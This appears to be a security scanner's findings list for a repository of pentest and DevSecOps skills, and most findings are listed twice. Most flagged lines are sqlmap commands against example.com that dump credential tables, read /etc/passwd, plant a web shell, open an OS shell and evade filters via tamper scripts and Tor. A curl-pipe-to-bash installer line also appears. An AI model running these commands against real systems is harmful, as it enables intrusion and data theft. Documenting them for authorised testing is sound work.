    sqlmap -u "http://example.com/product?id=1"
  • Network accessline 82
    # Multiple parameters sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
  • Network accessline 82
    # Multiple parameters sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
  • Network accessline 83
    sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
  • Network accessline 83
    sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
  • Network accessline 85
    # Test all parameters sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
  • Network accessline 85
    # Test all parameters sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
  • Network accessline 86
    sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
  • Network accessline 86
    sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
  • Network accessline 91
    # POST data directly sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
  • Network accessline 91
    # POST data directly sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
  • Network accessline 92
    sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
  • Network accessline 92
    sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
  • Network accessline 97
    # With additional headers sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
  • Network accessline 97
    # With additional headers sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
  • Network accessline 98
    sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
  • Network accessline 98
    sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
  • Network accessline 103
    # Test cookies sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
  • Network accessline 103
    # Test cookies sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
  • Network accessline 104
    sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
  • Network accessline 104
    sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
  • Network accessline 106
    # Test custom headers sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
  • Network accessline 106
    # Test custom headers sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
  • Network accessline 107
    sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
  • Network accessline 107
    sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
  • Network accessline 109
    # Test specific injection point sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
  • Network accessline 109
    # Test specific injection point sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
  • Network accessline 110
    sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
  • Network accessline 110
    sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
  • Network accessline 118
    # Basic detection sqlmap -u "http://example.com/page?id=1"
  • Network accessline 118
    # Basic detection sqlmap -u "http://example.com/page?id=1"
  • Network accessline 119
    sqlmap -u "http://example.com/page?id=1"
  • Network accessline 119
    sqlmap -u "http://example.com/page?id=1"
  • Network accessline 121
    # Aggressive testing (higher risk) sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
  • Network accessline 121
    # Aggressive testing (higher risk) sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
  • Network accessline 122
    sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
  • Network accessline 122
    sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
  • Network accessline 124
    # Specify technique sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
  • Network accessline 124
    # Specify technique sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
  • Network accessline 125
    sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
  • Network accessline 125
    sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
  • Network accessline 127
    # Detect DBMS sqlmap -u "http://example.com/page?id=1" --fingerprint
  • Network accessline 127
    # Detect DBMS sqlmap -u "http://example.com/page?id=1" --fingerprint
  • Network accessline 128
    sqlmap -u "http://example.com/page?id=1" --fingerprint
  • Network accessline 128
    sqlmap -u "http://example.com/page?id=1" --fingerprint
  • Network accessline 130
    # Force specific DBMS sqlmap -u "http://example.com/page?id=1" --dbms=mysql
  • Network accessline 130
    # Force specific DBMS sqlmap -u "http://example.com/page?id=1" --dbms=mysql
  • Network accessline 131
    sqlmap -u "http://example.com/page?id=1" --dbms=mysql
  • Network accessline 131
    sqlmap -u "http://example.com/page?id=1" --dbms=mysql
  • Network accessline 147
    # List databases sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 147
    # List databases sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 148
    sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 148
    sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 150
    # Current database sqlmap -u "http://example.com/page?id=1" --current-db
  • Network accessline 150
    # Current database sqlmap -u "http://example.com/page?id=1" --current-db
  • Network accessline 151
    sqlmap -u "http://example.com/page?id=1" --current-db
  • Network accessline 151
    sqlmap -u "http://example.com/page?id=1" --current-db
  • Network accessline 153
    # List tables in database sqlmap -u "http://example.com/page?id=1" -D database_name --tables
  • Network accessline 153
    # List tables in database sqlmap -u "http://example.com/page?id=1" -D database_name --tables
  • Network accessline 154
    sqlmap -u "http://example.com/page?id=1" -D database_name --tables
  • Network accessline 154
    sqlmap -u "http://example.com/page?id=1" -D database_name --tables
  • Network accessline 156
    # List columns in table sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
  • Network accessline 156
    # List columns in table sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
  • Network accessline 157
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
  • Network accessline 157
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
  • Network accessline 159
    # Database users sqlmap -u "http://example.com/page?id=1" --users
  • Network accessline 159
    # Database users sqlmap -u "http://example.com/page?id=1" --users
  • Network accessline 160
    sqlmap -u "http://example.com/page?id=1" --users
  • Network accessline 160
    sqlmap -u "http://example.com/page?id=1" --users
  • Network accessline 162
    # Database user privileges sqlmap -u "http://example.com/page?id=1" --privileges
  • Network accessline 162
    # Database user privileges sqlmap -u "http://example.com/page?id=1" --privileges
  • Network accessline 163
    sqlmap -u "http://example.com/page?id=1" --privileges
  • Network accessline 163
    sqlmap -u "http://example.com/page?id=1" --privileges
  • Network accessline 171
    # Dump specific table sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
  • Network accessline 171
    # Dump specific table sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
  • Network accessline 172
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
  • Network accessline 172
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
  • Network accessline 174
    # Dump specific columns sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
  • Network accessline 174
    # Dump specific columns sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
  • Network accessline 175
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
  • Network accessline 175
    sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
  • Network accessline 177
    # Dump all databases (use with caution) sqlmap -u "http://example.com/page?id=1" --dump-all
  • Network accessline 177
    # Dump all databases (use with caution) sqlmap -u "http://example.com/page?id=1" --dump-all
  • Network accessline 178
    sqlmap -u "http://example.com/page?id=1" --dump-all
  • Network accessline 178
    sqlmap -u "http://example.com/page?id=1" --dump-all
  • Network accessline 180
    # Exclude system databases sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
  • Network accessline 180
    # Exclude system databases sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
  • Network accessline 181
    sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
  • Network accessline 181
    sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
  • Network accessline 183
    # Search for specific data sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
  • Network accessline 183
    # Search for specific data sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
  • Network accessline 184
    sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
  • Network accessline 184
    sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
  • Network accessline 193
    # Read file from server sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
  • Network accessline 193
    # Read file from server sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
  • Network accessline 194
    sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
  • Network accessline 194
    sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
  • Network accessline 196
    # Write file to server (very invasive) sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
  • Network accessline 196
    # Write file to server (very invasive) sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
  • Network accessline 197
    sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
  • Network accessline 197
    sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
  • Network accessline 202
    # Execute OS command sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
  • Network accessline 202
    # Execute OS command sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
  • Network accessline 203
    sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
  • Network accessline 203
    sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
  • Network accessline 205
    # Get OS shell sqlmap -u "http://example.com/page?id=1" --os-shell
  • Network accessline 205
    # Get OS shell sqlmap -u "http://example.com/page?id=1" --os-shell
  • Network accessline 206
    sqlmap -u "http://example.com/page?id=1" --os-shell
  • Network accessline 206
    sqlmap -u "http://example.com/page?id=1" --os-shell
  • Network accessline 208
    # Get SQL shell sqlmap -u "http://example.com/page?id=1" --sql-shell
  • Network accessline 208
    # Get SQL shell sqlmap -u "http://example.com/page?id=1" --sql-shell
  • Network accessline 209
    sqlmap -u "http://example.com/page?id=1" --sql-shell
  • Network accessline 209
    sqlmap -u "http://example.com/page?id=1" --sql-shell
  • Network accessline 214
    # Attempt to bypass login sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
  • Network accessline 214
    # Attempt to bypass login sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
  • Network accessline 215
    sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
  • Network accessline 215
    sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
  • Network accessline 217
    # Test with authentication sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
  • Network accessline 217
    # Test with authentication sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
  • Network accessline 218
    sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
  • Network accessline 218
    sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
  • Network accessline 226
    # Use tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
  • Network accessline 226
    # Use tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
  • Network accessline 227
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
  • Network accessline 227
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
  • Network accessline 229
    # Multiple tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
  • Network accessline 229
    # Multiple tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
  • Network accessline 230
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
  • Network accessline 230
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
  • Network accessline 232
    # Random User-Agent sqlmap -u "http://example.com/page?id=1" --random-agent
  • Network accessline 232
    # Random User-Agent sqlmap -u "http://example.com/page?id=1" --random-agent
  • Network accessline 233
    sqlmap -u "http://example.com/page?id=1" --random-agent
  • Network accessline 233
    sqlmap -u "http://example.com/page?id=1" --random-agent
  • Network accessline 235
    # Custom User-Agent sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
  • Network accessline 235
    # Custom User-Agent sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
  • Network accessline 236
    sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
  • Network accessline 236
    sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
  • Network accessline 238
    # Add delay between requests sqlmap -u "http://example.com/page?id=1" --delay=2
  • Network accessline 238
    # Add delay between requests sqlmap -u "http://example.com/page?id=1" --delay=2
  • Network accessline 239
    sqlmap -u "http://example.com/page?id=1" --delay=2
  • Network accessline 239
    sqlmap -u "http://example.com/page?id=1" --delay=2
  • Network accessline 241
    # Use proxy sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 241
    # Use proxy sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 242
    sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 242
    sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 244
    # Use Tor sqlmap -u "http://example.com/page?id=1" --tor --check-tor
  • Network accessline 244
    # Use Tor sqlmap -u "http://example.com/page?id=1" --tor --check-tor
  • Network accessline 245
    sqlmap -u "http://example.com/page?id=1" --tor --check-tor
  • Network accessline 245
    sqlmap -u "http://example.com/page?id=1" --tor --check-tor
  • Network accessline 297
    # Detect vulnerability sqlmap -u "http://example.com/page?id=1" --batch
  • Network accessline 297
    # Detect vulnerability sqlmap -u "http://example.com/page?id=1" --batch
  • Network accessline 298
    sqlmap -u "http://example.com/page?id=1" --batch
  • Network accessline 298
    sqlmap -u "http://example.com/page?id=1" --batch
  • Network accessline 300
    # Enumerate databases sqlmap -u "http://example.com/page?id=1" --dbs --batch
  • Network accessline 300
    # Enumerate databases sqlmap -u "http://example.com/page?id=1" --dbs --batch
  • Network accessline 301
    sqlmap -u "http://example.com/page?id=1" --dbs --batch
  • Network accessline 301
    sqlmap -u "http://example.com/page?id=1" --dbs --batch
  • Network accessline 303
    # Get current user and privileges sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
  • Network accessline 303
    # Get current user and privileges sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
  • Network accessline 304
    sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
  • Network accessline 304
    sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
  • Network accessline 310
    # Test login form sqlmap -u "http://example.com/login" \
  • Network accessline 310
    # Test login form sqlmap -u "http://example.com/login" \
  • Network accessline 311
    sqlmap -u "http://example.com/login" \
  • Network accessline 311
    sqlmap -u "http://example.com/login" \
  • Network accessline 317
    # Attempt to extract admin credentials sqlmap -u "http://example.com/login" \
  • Network accessline 317
    # Attempt to extract admin credentials sqlmap -u "http://example.com/login" \
  • Network accessline 318
    sqlmap -u "http://example.com/login" \
  • Network accessline 318
    sqlmap -u "http://example.com/login" \
  • Network accessline 327
    # JSON API endpoint sqlmap -u "http://api.example.com/user/1" \
  • Network accessline 327
    # JSON API endpoint sqlmap -u "http://api.example.com/user/1" \
  • Network accessline 328
    sqlmap -u "http://api.example.com/user/1" \
  • Network accessline 328
    sqlmap -u "http://api.example.com/user/1" \
  • Network accessline 333
    # REST API with POST sqlmap -u "http://api.example.com/search" \
  • Network accessline 333
    # REST API with POST sqlmap -u "http://api.example.com/search" \
  • Network accessline 334
    sqlmap -u "http://api.example.com/search" \
  • Network accessline 334
    sqlmap -u "http://api.example.com/search" \
  • Network accessline 343
    # Full enumeration (use with extreme caution) sqlmap -u "http://example.com/page?id=1" \
  • Network accessline 343
    # Full enumeration (use with extreme caution) sqlmap -u "http://example.com/page?id=1" \
  • Network accessline 344
    sqlmap -u "http://example.com/page?id=1" \
  • Network accessline 344
    sqlmap -u "http://example.com/page?id=1" \
  • Network accessline 367
    # Use Burp as proxy sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 367
    # Use Burp as proxy sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 368
    sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 368
    sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
  • Network accessline 374
    # Save session for later sqlmap -u "http://example.com/page?id=1" -s output.sqlite
  • Network accessline 374
    # Save session for later sqlmap -u "http://example.com/page?id=1" -s output.sqlite
  • Network accessline 375
    sqlmap -u "http://example.com/page?id=1" -s output.sqlite
  • Network accessline 375
    sqlmap -u "http://example.com/page?id=1" -s output.sqlite
  • Network accessline 377
    # Resume session sqlmap -u "http://example.com/page?id=1" --resume
  • Network accessline 377
    # Resume session sqlmap -u "http://example.com/page?id=1" --resume
  • Network accessline 378
    sqlmap -u "http://example.com/page?id=1" --resume
  • Network accessline 378
    sqlmap -u "http://example.com/page?id=1" --resume
  • Network accessline 380
    # Custom output directory sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
  • Network accessline 380
    # Custom output directory sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
  • Network accessline 381
    sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
  • Network accessline 381
    sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
  • Network accessline 383
    # Verbose output sqlmap -u "http://example.com/page?id=1" -v 3
  • Network accessline 383
    # Verbose output sqlmap -u "http://example.com/page?id=1" -v 3
  • Network accessline 384
    sqlmap -u "http://example.com/page?id=1" -v 3
  • Network accessline 384
    sqlmap -u "http://example.com/page?id=1" -v 3
  • Network accessline 386
    # Traffic log sqlmap -u "http://example.com/page?id=1" -t traffic.log
  • Network accessline 386
    # Traffic log sqlmap -u "http://example.com/page?id=1" -t traffic.log
  • Network accessline 387
    sqlmap -u "http://example.com/page?id=1" -t traffic.log
  • Network accessline 387
    sqlmap -u "http://example.com/page?id=1" -t traffic.log
  • Network accessline 396
    # Increase detection accuracy sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
  • Network accessline 396
    # Increase detection accuracy sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
  • Network accessline 397
    sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
  • Network accessline 397
    sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
  • Network accessline 399
    # Use specific technique sqlmap -u "http://example.com/page?id=1" --technique=U
  • Network accessline 399
    # Use specific technique sqlmap -u "http://example.com/page?id=1" --technique=U
  • Network accessline 400
    sqlmap -u "http://example.com/page?id=1" --technique=U
  • Network accessline 400
    sqlmap -u "http://example.com/page?id=1" --technique=U
  • Network accessline 402
    # Manual verification sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
  • Network accessline 402
    # Manual verification sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
  • Network accessline 403
    sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
  • Network accessline 403
    sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
  • Network accessline 410
    # Use tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
  • Network accessline 410
    # Use tamper scripts sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
  • Network accessline 411
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
  • Network accessline 411
    sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
  • Network accessline 413
    # Add delays sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
  • Network accessline 413
    # Add delays sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
  • Network accessline 414
    sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
  • Network accessline 414
    sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
  • Network accessline 416
    # Change HTTP method sqlmap -u "http://example.com/page?id=1" --method=PUT
  • Network accessline 416
    # Change HTTP method sqlmap -u "http://example.com/page?id=1" --method=PUT
  • Network accessline 417
    sqlmap -u "http://example.com/page?id=1" --method=PUT
  • Network accessline 417
    sqlmap -u "http://example.com/page?id=1" --method=PUT
  • Network accessline 424
    # Use threads (careful with application stability) sqlmap -u "http://example.com/page?id=1" --threads=5
  • Network accessline 424
    # Use threads (careful with application stability) sqlmap -u "http://example.com/page?id=1" --threads=5
  • Network accessline 425
    sqlmap -u "http://example.com/page?id=1" --threads=5
  • Network accessline 425
    sqlmap -u "http://example.com/page?id=1" --threads=5
  • Network accessline 427
    # Reduce testing scope sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
  • Network accessline 427
    # Reduce testing scope sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
  • Network accessline 428
    sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
  • Network accessline 428
    sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
  • Network accessline 430
    # Test specific parameter only sqlmap -u "http://example.com/page?id=1&name=test" -p id
  • Network accessline 430
    # Test specific parameter only sqlmap -u "http://example.com/page?id=1&name=test" -p id
  • Network accessline 431
    sqlmap -u "http://example.com/page?id=1&name=test" -p id
  • Network accessline 431
    sqlmap -u "http://example.com/page?id=1&name=test" -p id
  • Network accessline 460
    - [SQLMap Official Documentation](https://sqlmap.org/)
  • Network accessline 460
    - [SQLMap Official Documentation](https://sqlmap.org/)
  • Network accessline 461
    - [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
  • Network accessline 461
    - [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
  • Network accessline 462
    - [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
  • Network accessline 462
    - [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
  • Network accessline 463
    - [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper)
  • Network accessline 463
    - [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper)
  • Network accessline 464
    - [PTES: Vulnerability Analysis](http://www.pentest-standard.org/index.php/Vulnerability_Analysis)
  • Network accessline 464
    - [PTES: Vulnerability Analysis](http://www.pentest-standard.org/index.php/Vulnerability_Analysis)

skills/offsec/webapp-sqlmap/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/webapp-sqlmap/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/webapp-sqlmap/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/secsdlc/reviewdog/SKILL.md

  • Network accessline 18
    optional: [semgrep, bandit, hadolint, checkov, gitleaks, shellcheck, eslint] references:   - https://github.com/reviewdog/reviewdog
  • Network accessline 18
    optional: [semgrep, bandit, hadolint, checkov, gitleaks, shellcheck, eslint] references:   - https://github.com/reviewdog/reviewdog
  • Network accessline 19
    references:   - https://github.com/reviewdog/reviewdog   - https://reviewdog.github.io/
  • Network accessline 19
    references:   - https://github.com/reviewdog/reviewdog   - https://reviewdog.github.io/
  • Network accessline 20
    - https://github.com/reviewdog/reviewdog
  • Network accessline 20
    - https://github.com/reviewdog/reviewdog
  • Network accessline 21
    - https://reviewdog.github.io/
  • Network accessline 21
    - https://reviewdog.github.io/
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 313
    [Credential-related source omitted]
  • Network accessline 381
